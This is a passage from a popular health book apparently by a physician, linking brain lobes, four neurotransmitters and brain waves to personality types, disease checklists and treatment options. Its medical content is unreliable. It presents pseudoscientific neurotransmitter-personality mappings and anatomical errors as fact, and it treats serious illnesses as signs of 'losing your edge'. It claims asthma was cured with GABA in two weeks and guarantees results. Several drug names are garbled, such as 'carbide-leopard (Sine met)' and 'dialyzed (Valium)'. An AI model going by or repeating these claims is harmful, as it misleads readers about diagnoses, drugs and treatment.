Researchers have recently discovered that not only are these biochemicals and their resulting brain waves produced in specific locations within the brain, but they can also be found in the body, in such locations as the gut. These functional areas are connected to and complement each other. The brain itself is divided into three parts: the _cerebrum,_ the _brain stem,_ and the _cerebellum._ The cerebrum is further divided into two hemispheres, which are linked by a thick band of nerve fibers called the _corpus callosum._ Each hemisphere of the cerebrum is further divided into four areas called lobes; the cerebellum houses three lobes. Each lobe instructs our bodies to perform specific functions. With their help, we are able to think, reason, love, forgive, create, and remember. More importantly, these lobes, in conjunction with the brain stem, control automatic processes such as breathing and digesting. They affect our total health by managing all our internal systems.
_The Brain Structure_
**THE CEREBRUM**
The cerebrum is what most of us think of when we picture the brain. It consists of four pairs of lobes separated into two identical hemispheres. These lobes receive electrical currents from the nervous system and translate them into biochemical signals. Each pair of lobes is dominated by one of the four primary biochemicals. The lobes are also individually associated with one of the four measurements of electricity. The brain's electrical function as it processes biochemicals is the basis of brain health. The location of any biochemical surplus or deficiency is what ultimately controls your personality and your health.
_Frontal Lobe_
**Frontal Lobes**
Every part of your body is connected through nerve cells that lead to the frontal lobes. Through these connections the body receives signals of sensation such as heat, cold, and touch. The frontal lobes control your movement and response to stimuli, and they shape your personality. Beta brain waves are created in the frontal lobes from neurons that produce the biochemical dopamine, which controls your electrical voltage.
Dopamine monitors your metabolism. It works like a natural amphetamine and controls your energy, excitement about new ideas, and motivation. Dopamine controls bodily functions related to power, including blood pressure, metabolism, and digestion. Dopamine generates the electricity that controls voluntary movement, intelligence, abstract thought, setting goals, long-term planning, and personality. The dopamine edge is characterized by its by-product, adrenaline. When you lose your dopamine edge, the physical effects can include addictive disorders, obesity, severe fatigue, and Parkinson's disease.
**Parietal Lobes**
The parietal lobes are the thought factory of the brain. Seated just behind the frontal lobes and on top of the temporal lobes, the parietal lobes help the brain understand and react to sensory signals coming from your body. These lobes determine your brain's speed and relative brain age. The neurons here produce the biochemical acetylcholine and its associated alpha waves, which control brain speed. Acetylcholine is a lubricant, necessary to keep the internal structures of the body moist so that energy and information easily pass through each system. It is a building block for the body's insulation, called _myelin,_ which surrounds the neurons throughout the nervous system. Just like the rubber surrounding electrical wires, acetylcholine keeps the signal from dissipating before it reaches its destination.
_Parietal Lobe_
When your acetylcholine levels are balanced, you are creative and feel good about yourself. When acetylcholine is out of balance, negative effects can include language disorders and memory loss. Cognitive problems can run the gamut from childhood learning disabilities to Alzheimer's disease.
**Temporal Lobes**
Located just above the ears, the temporal lobes house the functions of memory and language. The neurons in these lobes produce the biochemical GABA and theta brain waves. These lobes assist in balancing the frontal lobes, which govern personality, and the parietal lobes, which control thinking and action.
_Temporal Lobe_
GABA is the brain's natural Valium. This biochemical controls the brain's rhythm, so you function at a steady pace both physically and mentally. The GABA edge provides calmness to your body, mind, and spirit. GABA levels directly affect your personality. When the GABA edge is lost, physical effects can include headaches, hypertension, palpitations, seizures, a diminished sex drive, and disorders of the heart.
GABA is also involved in the production of endorphins, brain chemicals that create a feeling of well-being known as "runner's high." Endorphins are produced in the brain during physical movement, such as stretching, exercise, or even sexual intercourse. When endorphins are released, you experience the GABA quality of calmness. This release is often referred to as the Endorphin Effect.
**Occipital Lobes**
Occipital lobes can be found at the rear of the brain; they control the visual process. The occipital lobes also regulate your brain's ability to rest and resynchronize by producing the biochemical serotonin and its resulting delta waves. Serotonin provides a healing, nourishing, satisfied feeling to the brain and body. When your serotonin levels are appropriate, you can sleep deeply and peacefully, enjoy food, and think rationally. When the occipital lobes are damaged or out of balance, physical effects include depression, hormonal imbalances, PMS, sleep disorders, and eating disorders.
_Occipital Lobe_
**CORPUS CALLOSUM**
This band of neuronal fibers provides the electrical connection between the right and left hemispheres of the brain, allowing the two sides to coordinate their tasks. The left brain controls the movements of the right side of your body, and the right brain controls the left side. There are also predominant behavioral characteristics related to each hemisphere, and each of us favors one side or the other. For example, left-brained individuals tend to focus on thinking, analysis, and accuracy. They tend to be introverted and rely strongly on their practical skills. The left-brained tend to be very disciplined and well organized and to see things in terms of parts or sequences. Left-brainers are GABA-dominant. GABA controls rhythm, and the classic left-brain type is consumed by making sure that everything is in good working order. They are concerned with traditional values and are blessed with common sense, thoroughness, and integrity.
_Corpus Callosum: The commissural fibers joining the brain's left and right hemispheres_
Right-brained individuals focus on feelings, intuition, and aesthetics. While they are social and active, they prefer to direct their energy outward. They can be impulsive and spontaneous, and are usually more empathic, intuitive, and subjective. The right-brained person is dominated by the biochemical acetylcholine, which controls our creativity and speed. Right-brainers are famous for their buoyant and contagious enthusiasm. They are especially sensitive to the feelings of others.
The corpus callosum allows us to mix the best aspects of our left and right brains. For example, in dreams we creatively process our fantasies along with real day-to-day events. Fact and fiction merge, connecting the right brain's emotions with the left brain's processing of memory, uniting our consciousness.
FUNCTIONS GOVERNED BY THE LEFT HEMISPHERE
Deductive reasoning
Logical thinking
Practical analysis
Recognition of details
Right side of the body
DYSFUNCTIONS ASSOCIATED WITH THE LEFT HEMISPHERE
Dysgraphia
Dyslexia
Impaired rhythm and singing
Language and mathematical impairment
Right side motor impairment
Verbal memory deficit
FUNCTIONS GOVERNED BY THE RIGHT HEMISPHERE
Artistic vision
Creative thinking
Imagination
Intuition
Left side of the body
Understanding of the "big picture"
DYSFUNCTIONS ASSOCIATED WITH THE RIGHT HEMISPHERE
Delusions
Denial of motor deficits
Dressing difficulties
Left side motor impairment
Neglect of hygiene
Spatial disorder
Visual memory deficit
**THE BRAIN STEM: LOCATING THE EDGE EFFECT**
The brain stem is the place where electricity is transferred between the brain and the body: it is where the Edge Effect takes place. The brain stem is the extension of the spinal cord into the brain, at a point called the _thalamus._ Using our earlier example, the brain stem is the two-pronged plug found at the end of a cord attached to a lamp. In this case each prong represents part of the autonomic nervous system. Between them these two prongs regulate all the involuntary and unconscious functions of the body, turning on and off all the organs of the body.
_The Brain-Body Electrical System_
**THE CEREBELLUM**
Located just below and behind the cerebrum, the cerebellum controls our balance and automatic movements such as arm and leg coordination. Animals with larger cerebellums than ours, such as cats, have incredible balancing ability.
**THE OCEAN OF LIFE**
A healthy brain and spinal cord float in a liquid called cerebrospinal fluid—what I call the ocean of life. Without it, the brain would dehydrate, shrink, harden, and eventually die.
The Edge Effect is also dependent on the ocean of life. In order to enhance its health and reach a higher state, the brain needs to continuously renew itself. When the Edge Effect occurs, your brain increases the production of essential biochemicals, and new neurons are created in the brain's center of higher intellectual function, the cerebral cortex. These new neurons can only be created in cerebrospinal fluid.
**BIOCHEMISTRY FEEDS PHYSIOLOGY**
All of us possess the same basic anatomy and approximately the same amount of proverbial gray matter. All of us sustain life with the same processes occurring within our remarkable brains. So why are we all so different? Why is one person more comfortable with a hammer in his hand, another with a calculator, and yet another with a clarinet? Why is one woman fulfilled as a nurse, another as a sculptor, and a third as the owner of a retail store? Why is one man thin and another overweight when they eat the same types and quantities of food? And why does each of us suffer from different health breakdowns at different times?
Again, the answers are found in the brain. Our genetic makeup individualizes each of us with our own biochemical deficiencies or surpluses. We are also dominated by dopamine, acetylcholine, GABA, or serotonin. These differences in brain chemistry translate directly into physical and behavioral tendencies. While we've discussed how the brain controls specific biological functions, its biochemistry also produces mental or behavioral characteristics. This is the biochemistry of personality.
**TEMPERAMENT, TYPE,
AND PERSONALITY**
Your temperament is the vehicle through which you express your emotions and values to others. Our brains process the four primary biochemicals in varying ways, and this combination determines our temperament and ultimately our personality. Before you can discover your temperament, you first need to recognize each of your individual preferences, or thinking styles. In the following categories, look at each pair and see which one best describes you:
**Extroverts versus introverts**
Extroverts direct their energy outward. They are very active and social, enjoy being in groups, and tend to talk before listening. They tend to be right-brain dominant. Introverted people require time for quiet reflection. Their need for privacy is especially important if their work is socially demanding or if they are under stress. Introverted individuals tightly control their thoughts, feelings, and needs, and may appear aloof or distant at times. They tend to be left-brain dominant.
**Intuiting versus sensing**
Intuitives focus on possibilities—always looking for new opportunities, new problems to solve, and new ways of doing things. They operate on their hunches, which makes them exciting companions. Their desire for change can put pressure on relationships if they fantasize aloud about how things could be better. They tend to be right-brain dominant.
Sensing types value accuracy in communication and prefer to base their statements on facts. They trust the tried-and-true ways of doing things and place a high value on tradition and experience. They live in the present and therefore become adept at managing the day-to-day details of living. They tend to be left-brain dominant.
**Thinking versus feeling**
Thinkers gather their information through logic and tend to make decisions based on fairness. They are highly principled and often criticize others for not following the rules. Their seeming lack of empathy makes them come across as cold and overly blunt. They tend to be left-brain dominant.
Feelers have a warm, quick response to people and will try to say and do nice things. Feeling types want to be told explicitly that they are loved or cared for. Outside of relationships, they focus on process and human values instead of achieving goals. They tend to be right-brain dominant.
**Judging versus perceiving**
Judging people organize their outer world by means of structure, lists, and plans, and need closure when working on projects before moving on to something else. Their compulsion to organize and systematize comes at a cost to their ability to be flexible, be spontaneous, or accept change. They tend to be left-brain dominant.
Perceivers are curious people who love to experience new things. They tend to be spontaneous and flexible when it comes to organizing their outer world. They adapt quickly and tend to be interested in everything, which can cause them to start many projects but not complete them. They thrive on open-endedness. They tend to be right-brain dominant.
**THE SCIENCE BEHIND
THE PREFERENCES**
The PATH Foundation, working with other nationally recognized scientists, recently published research on the link between the brain biochemistry and temperament. The research clearly shows how each biochemical plays a unique role. We have found that dopamine accounts for extroversion and the preference for thought over feelings. GABA increases organizational skills. Serotonin is the generator of pleasure seeking and has been linked to various sensing and feeling behaviors that, if not kept under control, can lead to addictions. The implications of these findings are important to the rest of the body, in that each of the biochemicals also controls specific body functions. The table below identifies each personality type's most dominant and deficient biochemicals as well as the impact these have on the electrical functionality of the brain.
PERSONALITY TYPE | DOMINANT
BIOCHEMICAL | ELECTRICAL FUNCTION
---|---|---
Extrovert | \+ Dopamine | Increased voltage
Introvert | – Dopamine | Decreased voltage
Intuiting | \+ Acetylcholine | Increased brain speed
Sensing | – Acetylcholine | Decreased brain speed
Judging | \+ GABA | Increased calmness or rhythm
Perceiving | – GABA | Decreased calmness or rhythm
Feeling | \+ Serotonin | Increased harmony
Thinking | – Serotonin | Decreased harmony
**DETERMINING OUR BIOTEMPERAMENTS**
Our temperaments are a combination of each of these preferences. For example, an intuitive individual is dominated by his style of decision making, but an intuitive thinker lives by thinking, while an intuitive feeler lives by feeling. Extroversion and introversion, except in the pure forms, are seen as modifiers of a person's temperament and are not a direct component of the four temperaments. Each of us falls into one of the following categories:
• Thinking intuitives are rationalists who are theory-oriented and skilled in long-range planning. They hunger for precision, especially in thought and language. They love power and have the ability to disregard criticism entirely. Their motto could be "Never take anything personally." Scientifically, thinking intuitives are driven by the frontal lobe biochemical dopamine and its associated beta brain waves, although other personality and biological factors can be considered. Thinking intuitives strive to be high-energy extroverts and might compensate for a sense of shyness with either caffeine or cigarettes (nicotine) to stimulate their personalities. Frequently a dopamine bio-temperament but other personality and biological factors alter the result.
• Intuitive feelers are idealists who strive to be authentic, benevolent, and empathetic; their greatest desire is to make the world a better place. Their motto could be "Always do your best." Intuitive feelers are regulated by the parietal lobe biochemical acetylcholine and its associated alpha brain waves, although other personality and biological factors can be considered. They strive to retain and create memorable events. Intuitive feelers may look for ways to alter their reality to make it more idealist or dreamlike by experimenting with illegal drugs such as LSD or PCP. These drugs tap into your dream state while you are still awake. Frequently an acetylcholine biotemperament but other personality and biological factors alter the result.
• Organization and tradition dominate sensing judging temperaments. Sensitive judging people can be described as guardians and are skilled at ensuring that everything is in the right place at the right time; they look to the past and tradition, and regard their duty as preserving conventional values. Relationships are of utmost importance to them. Their motto could be "Always keep your word." Sensitive judging people are often governed by the temporal lobe biochemical GABA and its associated theta brain waves, although other personality and biological factors can be considered. Sensitive judgers try to remain calm. They might use alcohol as a way of quieting their compulsiveness. Frequently a GABA biotemperament but other personality and biological factors alter the result.
• Sensitive perceivers are artisans who act on impulse and seek adventure and experience; they are often drawn to the manual and performing arts. They prize nothing more than fun. Their motto could be "Live through experience." Sensitive perceivers are ruled by the occipital lobe biochemical serotonin and its associated delta brain waves, although other personality and biological factors can be considered. Sensitive perceivers are driven by their moods. They often choose foods that they know will affect their moods, such as doughnuts or other carbohydrate-rich desserts, which will make them feel satisfied, if only temporarily. Frequently a serotonin biotemperament but other personality and biological factors alter the result.
**PERSONALITY GOVERNED
BY BIOCHEMISTRY**
Temperaments become more complex as you include additional preferences from each category that are dominated by other biochemicals. The individual combinations directly determine our overall personality or type. While temperament is governed by a specific biochemical, it is the individualized combination of the four primary neurotransmitters that determines each personality.
When our biochemicals are balanced, our behavior stays within a healthy range. When there are excesses, severe psychiatric conditions can occur. When there are deficiencies, less serious antisocial behavior develops. Disturbances in our personality and emotional life are imbalances in our biotemperment. The good news is that the Edge Effect heals these imbalances. We all exhibit low moments in our personalities, and it is interesting to see which biochemicals influence specific "bad" behaviors.
**Dopamine-deficient personality**
_The loner._ When balanced, this person is organized, neat, frugal, and no trouble to others. When out of balance, this person lacks the energy to socialize and appears to lose the feelings of love, joy, sadness, desire, or rage. A natural remoteness becomes extreme by total avoidance of social interaction.
_The procrastinator._ When balanced, this person is flexible, giving, accommodating, available, and willing to go the extra mile for a friend. Out of balance, this person lacks the energy to finish any assignment or task. A procrastinator avoids meeting deadlines and deliberately works slowly on unappealing tasks. If angry, a procrastinator will avoid confrontation.
**Acetylcholine-deficient personality**
_The eccentric._ Normally the eccentric keeps to himself. At worst, the absence of thought connections to people and the world makes the eccentric's behavior seem odd, even bizarre. This personality feels normal in isolated situations and steers away from human interaction. The eccentric lives in a dream world consisting of magical behavior and wild visions, although outwardly he appears colorless and inexpressive. When even mildly stressed, an eccentric can easily become a danger to himself and others.
_The perfectionist._ Normally this profile is hardworking, detail-oriented, devoted, and exacting. Perfectionism and self-discipline are the hallmarks of this personality type—qualities that can be pluses or minuses depending on the extent of brain imbalance. Perfectionism can make someone an excellent worker, but it can also interfere with decision making, since striving for the ideal in everything is simply not realistic. Self-discipline gives the perfectionist's life structure but can also produce a rigidity that makes her unapproachable. The perfectionist is a classic workaholic who retains tight self-control at the expense of relaxation, enjoyment, and warmth. The perfectionist lacks the ability to end a project or get off task.
**GABA-deficient personality**
_The unstable personality._ In balance, this person meets the needs of others. Unbalanced, this type can lack control in every aspect of life: mood, relationships, identity, and impulses. Emotions are mercurial and without boundaries, moving rapidly from love to hate, from happiness to rage. Personal care is neglected, and a general feeling of emptiness persists as a result of loss of sustained relationships.
_The drama queen._ This person is a catalyst for creating change, growth, and development of self and others. When out of balance, the drama queen is inappropriately theatrical, loving and living for the big moment, which seems to be present every day. This person has a wild streak and often insists on being the center of attention, constantly searching for reassurance of his worth. He becomes totally disinterested in others' needs and ideas, even though social interaction is vital. The dramatic personality lacks boundaries between self and society, so that all of such a person's daily problems become everyone's concern.
**Serotonin-deficient personality**
_The self-absorbed personality._ Normally this person is a high achiever. However, when unbalanced, the self-absorbed individual loses sensitivity to others. His feelings become deficient for anyone outside of himself. Flouting conventional values as beneath him, the self-absorbed person makes his own rules and lets others be damned. Self-image is based on fantasy and exaggeration, to the point where the boundary between truth and lies is blurred. Rationalization runs rampant.
_The rule breaker._ In balance, this person is an iconoclast who does not follow the group. She is a shrewd operator, able to work around the system to accomplish worthwhile goals. Unbalanced, she lacks sensitivity to society at large. The serotonin-deficient individual can become overly impulsive and shortsighted, proceeding rashly without considering consequences.
It's important to remember that nobody is happy and stress-free all of the time, and we each have our share of emotional problems. However, if we don't address our negative issues, a bigger problem can emerge: in the face of a continued deficit of a vital brain chemical, a quirk that otherwise could easily be dismissed may turn into a full-blown psychiatric condition. Any serious condition, whether it be physical or psychological, begins as a minor one, and if you or someone close to you recognizes early signs of a personality imbalance, you can intervene by using one of the neurotransmitter-specific programs outlined in this book. This topic will be more thoroughly covered in Chapter 11.
**NATURAL BRAIN FUNCTIONS**
**ATTENTION**
A physiological function of the brain concerns your abilities to learn and remember. Attention deficits are generally thought to be associated mostly with children, but recent developments have led researchers to recognize that attention problems not only continue into the adult years for affected children but also reveal themselves in more of us as we age. Attention decreases can also be an early sign of Alzheimer's disease.
If you have been forgetting things lately, keep shifting from one activity to another, seem especially accident-prone, can't think clearly, suddenly start to feel either hyper or apathetic, or are finding it difficult to get along with family, friends, and colleagues, you may have an attention problem. These symptoms can be very disruptive, but researchers have found that problems of attention in adults are treatable. The solution can be found once again in one of the four neurotransmitters, a topic covered thoroughly in Chapter 10.
ATTENTION DEFICIT SYMPTOMS AND THEIR CAUSES |
---|---
**SYMPTOM**| **BIOCHEMICAL CAUSE**
Inconsistent attention | Insufficient dopamine
Misplacing items, carelessness | Insufficient acetylcholine
Lack of attention, impulsive actions | Insufficient GABA
Inability to grasp concepts quickly | Insufficient serotonin
**MEMORY**
Lapses in memory are not an inevitable consequence of aging. They are a concrete indication of brain chemical deficiencies, and they can be reversed. While the primary neurotransmitter responsible for memory function is acetylcholine, each of the other three plays a role. If you experience any problems with memory, don't ignore them: once again, they are early warning signs of an underlying chemical deficiency. This topic will be more thoroughly covered in Chapter 11, but you should be aware of the four distinct types of memory, each ruled by one of the major neurotransmitters.
_Working memory_ involves the ability to absorb information or stimuli and retain it for ongoing processing. It involves bringing together old and current data, and if the brain is overloaded with the latter, it will dump older memories. Working memory is affected by the frontal lobes and the biochemical dopamine.
_Immediate memory,_ which lasts up to thirty seconds before the thought is transferred to long-term memory, consists of auditory and visual memory and is an indication of one's learning capabilities and basic alertness. Immediate memory is governed by the parietal lobe and the biochemical acetylcholine.
_Verbal memory_ is necessary to produce and understand sound, words, sentences, and stories. Verbal memory is controlled by the temporal lobes and the biochemical GABA.
_Visual memory_ involves the ability to absorb and retain information such as faces, colors, shapes, designs, surroundings, pictures, and symbols. People who can drive to a location after being there only once demonstrate excellent visual memory. Visual memory is assisted by the occipital lobes and the biochemical serotonin.
**RETHINKING TOTAL
HEALTH TREATMENT**
The ultimate medical definition of life is brain electrical activity—if doctors cannot find signs of the brain working at a sufficient level, they sign a death certificate. Anatomically, the brain's structure is identical right before and immediately after death. Physiologically, it's quite a different story: after death all electrical activity ceases. Monitoring this electrical activity is how I assess health and determine what should be done to treat conditions and restore each patient's edge.
Being aware of brain-based symptoms that are related to specific anatomic functional areas—and the biochemicals related to them— enables us to take charge of our own health. Addressing the four key brain biochemicals and their electrical signals gets to the root of illness and is the path to total health.
Now that you understand the importance of the primary neurotransmitters, when mild symptoms first appear you can use this book to guide yourself toward readily available medications and natural therapies to recharge your brain. Appreciating the critical importance of the brain is the first step toward achieving a more abundant life.
ARE YOU LOSING YOUR EDGE ?
LIVING AT YOUR peak—when every day is a good day at work, when enjoyment comes easily, and when you feel strong and healthy—can be directly traced to a balanced brain. This occurs when all four of your primary biochemicals (dopamine, acetylcholine, GABA, and serotonin) are transmitting properly and in the right proportions, your four electrical functions are working at optimal levels, the power supply is strong, brain speed is fast, rhythm is constant, and your brain is in sync. At this point, you are experiencing the Edge Effect.
However, if you are feeling ill and have physical complaints, you know intuitively that something is wrong. You might be experiencing symptoms that are not quite physical—they may be related to the mind and an overall feeling that you're not yourself. Regardless of the symptoms, the solution is to go to the source: your brain chemistry. If your brain chemistry is unbalanced, your body will be unbalanced. The moment you realize that something is off, you have already begun to lose your edge.
**WHY WE HAVE UNBALANCED BRAINS**
Some of us have always been off the edge to varying degrees. I call this being born edgy. Depending on which neurotransmitter is deficient, even a child as young as two or three years old will exhibit symptoms or a personality type that clearly define her as someone with poor health. A low-dopamine child might exhibit symptoms of ADD. A low-acetylcholine child may have learning disorders. A low-GABA child could have impulsive or violent tendencies, and a low-serotonin child might be moody or depressed.
Even those of us lucky enough to have experienced good health know that it is not possible for any of us to remain perfectly fit forever. Most of us will begin to lose our edge by the time we turn forty. We all have minor biochemical deficiencies that we have learned to live with. As we age, our bodies produce fewer of the hormones that regulate neurotransmitter production, throwing off a balance so delicate it can easily be upset simply by changing the output of one hormone. Imbalances are also affected by the day-to-day stresses of life and by the choices we make regarding what we eat. Over time, our brain will not be able to compensate for these consistent, seemingly minor assaults, and we develop what I refer to as a sprained brain.
While the body has remarkable capacities to heal itself, there are limits to what it can do on its own. For example, a minor cut on your finger will regenerate new skin within a week, but a bullet wound to the chest will require surgical intervention. Sprained brains work in the same manner. Insignificant injuries, such as the occasional down moment we've all experienced, usually reverse on their own with the help of a good night's sleep. More serious sprains, such as chronic pain or depression, must be accurately assessed and treated.
Between the two extremes are moderate imbalances. These are the ones to be most wary of, because if they are not addressed, what may seem like a small problem today might progress to something far worse in the future. This is like driving your car when you know that one tire is not properly balanced. The tire's tread will wear unevenly, and the slight effect that this has on the car's ride might not be noticeable at first. But uneven tread on one tire will lead to uneven tread wear on the other tires, with a subsequent effect on alignment. The car will then be harder to steer, and the brakes will wear out faster. Ignored, what would normally be just a simple matter of adjusting the wheel balance can lead to major expenses for new tires, brakes, shocks, and steering alignment.
The same is true for you. If you notice that you are losing your edge, you are probably experiencing deficiencies in your biochemistry. These deficiencies will eventually have a significant impact on how you feel. What you might have thought was a temporary symptom or a bad mood is actually a brain chemical reaction with far more serious implications. However, you can regain your edge by mastering your brain chemistry and putting yourself on the path back to health.
For example, a high-powered attorney might normally be insensitive to the feelings of others and uninterested in non-business-related diversions. A dopamine-driven person is perfectly willing to live like this: he might not even realize his behavior is out of the ordinary. Though he might relegate his health concerns to the back burner, once he develops high blood pressure he'll likely be sufficiently scared to seek medical attention. If he doesn't, at some point he won't be able to make the complicated strategic decisions that define him—or worse. If he had recognized that the changes in his thinking style were really a sign that he was slipping off the edge, and if he had acted on that knowledge, he could have prevented his new significant problem.
**THE EDGE CHECKLIST**
Are you experiencing any of the following major physical illnesses? While these all require immediate medical attention, they are also signs that you have lost your edge:
Anemia
Arthritis
Back pain
Cholesterol elevation
Chronic pain
Cognitive thinking difficulty
Concussion
Delusions
Depression
Diabetes
Epstein-Barr syndrome
Glaucoma
Head injury
Hearing loss
Hypertension
Kidney problems
Liver tumors
Lyme disease
Memory loss
Multiple sclerosis
Nonconvulsive epilepsy
Obesity
Osteoporosis
Seizures
Sexual dysfunction
Stroke
Vertigo
Viral infections
More moderate conditions, which we all have experienced and continue to endure, are probably more important to recognize. These are issues that you might have felt are too minor to require treatment or, worse, that you think are self-induced and will go away on their own.
In truth, these complaints can likely be traced once again to your biochemicals. So stop blaming yourself for what you might think of as "personality flaws." These conditions listed on the next page are important signals that you may be losing your edge:
Abnormal involuntary movements
Absentmindedness
Accident-proneness
An experience of feeling automated or as if in a dream
An experience that something is unfamiliar about familiar places or events
Anger management problems
Blurred vision
Constipation
Delays in processing information
Difficulty achieving orgasm
Digestive complaints
Distractedness
Dizziness or giddiness
Drug or alcohol addiction
Feeling detached, as if one is an outside observer of one's mental processes or body
Frequently interrupting others
Impotence
Increased impulsiveness
Lack of coordination
Low sex drive
Mood swings
Out-of-body experiences
Panic attacks
Perfectionism
Phobias, fears
Reactive confusion
Short temper
Shuffling gait
Shyness
Smell hallucinations
Spatial perception difficulties
Sweating
Taste hallucinations
Thought confusions
**BENDING ONE'S CHEMISTRY
THE WRONG WAY**
You might have been living with these conditions or others for some time, and have been compensating for them indirectly. When we start to lose our edge, many of us unknowingly take treatment into our own hands. Some of us will seek medical attention for a particular ailment and treat it, which will work initially, until a new symptom pops up. Others might try to boost their energy by changing what they consume—for example, drinking coffee, smoking cigarettes, or eating lots of sweets just to stay alert—in a form of self-medication. Another group will try to stabilize their environment by becoming cautious, and take themselves outside of society if they are afraid of how they might function around others. Then there are those who just don't care. When they start losing the edge, they binge or eat unhealthy foods, drink excessive quantities of alcohol, and find jobs that require minimal cognitive ability because they can't rely on their intellectual processing.
The most dramatic example of self-medication is the abuse of drugs. Cocaine, for one, provides a short-term burst of energy, mimicking the effect of dopamine. But as the brain becomes accustomed to cocaine's high, it compensates by reducing its own dopamine production. This, in turn, increases the body's demand for dopamine, which then can only be supplied by increased amounts of cocaine. The result is a vicious circle in which the addict continually needs higher doses of cocaine, and which ends when the brain totally burns itself out of dopamine. Hallucinogenic mushrooms work similarly on acetylcholine, marijuana and quaaludes on GABA, and the club drug Ecstasy on serotonin. All of these addictive cycles end up as major physical and psychiatric disorders unless the drug abuser can find a way to stop.
You don't have to be a drug addict to upset the balance of your brain chemistry. Millions of people do themselves harm through legal and socially accepted means. You might drink gallons of coffee and eat lots of sugar to increase your energy—a dopamine high. Perhaps you get an acetylcholine boost in the form of a regular nicotine fix to help yourself think clearly, or you binge on carbohydrates, a GABA tranquilizer, to feel better. Maybe you consume alcohol, a serotonin enhancer, a little too often so that you can shut down and get to sleep. While self-medicating through diet might seem to work in the short term, it only provides the illusion of solving the problem, and over time it can negatively affect your health. The damage from these everyday habits can be as serious as that from drug addiction—it will just take a little longer to show up.
**BENDING ONE'S CHEMISTRY
THE RIGHT WAY**
Instead of these quick fixes, there are effective treatments that can reverse the symptoms of a sprained brain. When biochemicals are adjusted to compensate for either an excess or a deficiency, you will have effectively bent your brain back in the other direction. For the most part, the place to begin is by addressing deficiencies. In some cases, such as a dopamine type subject to mania (due to too much dopamine), simply boosting calming GABA and serotonin may not be sufficient, so we'd need to use beta-blockers to stop the overproduced dopamine from being taken up by the cells. By adjusting brain chemistry, instead of treating only the immediate symptoms, you will have regained your edge, benefiting your whole mind and body.
By balancing your brain you can also improve your brain's cognitive functions, including your memory and attention. For example, with today's "smart drugs" and biochemical enhancers, you can lower your brain age and improve age-related memory loss. Make no mistake: if you put in the proper effort, you can rebuild your health and reverse brain aging. What's more, by balancing it all, you will achieve the Edge Effect for total brain and body health.
Regaining our edge can also lead to the ability to modify our personalities. We can learn to bolster our behavioral weaknesses, which are often the opposites of our temperament. For example, the organized individual can become more spontaneous; the thinker can increase his empathy; the introvert can learn to build multiple relationships; and intuitives can become more logical.
You might be surprised to find how simple and straightforward the balanced-brain approach is. At the first sign of health problems, you can choose from several therapies to address your sprained brain and restore it to its optimal working order. I guarantee that if you make even a few of the changes I suggest in the pages that follow, you will be closer to achieving total health, because it all begins with the brain.
**DETECTING THE UNBALANCED BRAIN**
Your dominant biochemical controls your temperament, or what I call your nature. Your nature encompasses all of the physical, mental, and emotional aspects of your health. If a patient comes to me with a physical problem such as chronic headaches, I can predict that she also has other issues, whether or not she's aware of them. Perhaps this patient has had subtle, low-grade depression, chronic anxiety, or an overall sense of malaise. Another patient might come to see me for asthma treatment, but when I probe further, it turns out he also has a memory deficit. These disorders are linked because they are nature-related illnesses.
When I can help patients balance their dominant biochemical, their health improves on every front. Nine times out of ten, mental or emotional aspects of the nature's deficiency are also resolved. With this book as your guide, you can evaluate and maintain your day-to-day health by identifying your dominant nature and determining whether you have a deficiency associated with it.
Sylvia came to see me at the age of twenty-eight with asthma so severe that she was frequently spending time in emergency rooms fighting for breath. Inhalers were not doing the job, and other medications seemingly had no effect. No matter what Sylvia took, the asthma worsened. Sylvia was a third-grade teacher, and her mounting sick days were becoming a real problem.
There was no doubt that Sylvia had a respiratory disorder. There was also no doubt that something else was going on, something that could be better understood if we identified Sylvia's dominant nature. It seemed to me that her brain chemical deficiency was causing her whole body to spasm. Because her lungs were her weak area, they were tightening up and producing asthmatic symptoms. But pulmonary drugs were not working for her because the source of her problem was not her lungs. I was able to identify her dominant GABA nature, and revealed a severe GABA deficiency that was the common denominator for all of her symptoms. Using GABA treatments, I properly addressed her biochemical nature and cured Sylvia in two weeks. Today she is feeling great and hasn't taken a sick day in more than a year.
**HEALTHY CHOICES FOR
A BALANCED BRAIN**
In the right environment and under the right supervision, you can control, modify, or enhance your brain chemistry just as Sylvia did. Using my unique approach, you will be able to work with your doctor to design an individual treatment program based on one or a combination of the seven types of therapies: medications, hormones, vitamins and supplements, diet, lifestyle, environment, and technology. The following is a broad introduction to these treatments. These positive alterations to your nature will alleviate symptoms, increase your energy, boost your immune system, keep you on an even keel, and help you achieve total health by restoring your edge.
**MEDICATIONS**
Medications are Western science's single greatest achievement, and they definitely have their place in restoring brain chemistry. Pharmaceuticals can impact chemical reactions at any stage to achieve a specific effect. For example, some medications are designed to increase neurotransmitter production, while others reduce it. Some medications prevent or enhance neurotransmitter storage, while others prevent or enhance its transmission. Pharmaceuticals also work by mimicking the properties and metabolism of the various neurotransmitters. Or the metabolism of biochemicals can be transformed to stop the way the body uses up a neurotransmitter. For example, carbide-leopard (Sine met), a medication commonly prescribed for Parkinson's disease, enhances production of dopamine and prevents its breakdown in the body. Florentine (Prozac), on the other hand, enhances serotonin transmission and preserves it, while dialyzed (Valium) mimics the effects of additional GABA.
Whatever their ultimate goal, prescription drugs have the fastest and most powerful impact on a biochemical imbalance. Many of my patients need prescription drugs to get them back on track and help them regain their edge. However, my goal is always to use prescription drugs carefully and for as short a time as possible. Once a prescribed medication has accomplished the initial restoration of chemical balance, other, gentler alternatives can sustain it. These can be vitamin and mineral supplements or changes to your diet, lifestyle, and environment.
Prescription medications can have serious side effects, such as addiction and hypertension. The need to be seen regularly by a physician to monitor those potential side effects is why many prescriptions have limited—or no—refills. Never take medications given to you by even the most well-intentioned friend or loved one. Instead, prescriptions should always be taken under the supervision of a medical doctor. Make it a practice to throw away leftover medications, and do not self-prescribe what you think is best for a particular illness. While I will show you how certain medications can be used for other functions than those initially prescribed, never take any prescription medication without consulting with your doctor first.
**HORMONES**
Ninety percent of all hormones are produced in or regulated by the brain. They are the brain's messengers, which are sent to all other parts of the body to control the specific functions of cells and organs. Hormone replacement therapy can effectively alter brain chemical processes, although not as quickly as prescription medications.
As we age, our hormone-producing organs and glands begin to wear out. Their output drops, and the corresponding parts of the body begin to break down. The brain has to work harder as it tries to compensate for diminished body functions. This places a strain on the system, which then develops symptoms that lead us to seek treatment. If the decline in hormones is not treated, or if it is treated improperly, these biochemicals will be reduced further, resulting in more serious conditions.
Hormonal impact on brain function is indisputable. Research studies and clinical applications with thousands of patients have demonstrated the positive effect that hormones can have on neurotransmitter deficiency conditions, such as diminished concentration, memory loss, nicotine cravings, and insomnia, among others.
